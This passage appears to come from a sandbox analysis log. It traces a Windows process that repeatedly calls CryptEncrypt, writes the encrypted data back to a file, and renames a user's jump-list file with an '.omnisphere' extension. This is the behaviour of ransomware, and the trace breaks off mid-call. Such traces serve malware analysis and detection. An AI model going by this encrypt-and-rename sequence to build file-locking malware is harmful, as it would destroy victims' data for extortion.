pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.165] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.166] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.167] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.168] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.169] CryptDestroyKey (hKey=0x1639568) returned 1 [0128.169] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0128.169] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.170] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.170] GetProcessHeap () returned 0x1600000 [0128.170] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fcd68 [0128.170] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9c08ad74ad8708df.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9c08ad74ad8708df.automaticdestinations-ms.omnisphere")) returned 1 [0128.171] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms.omnisphere", lpString2=".id" | out: 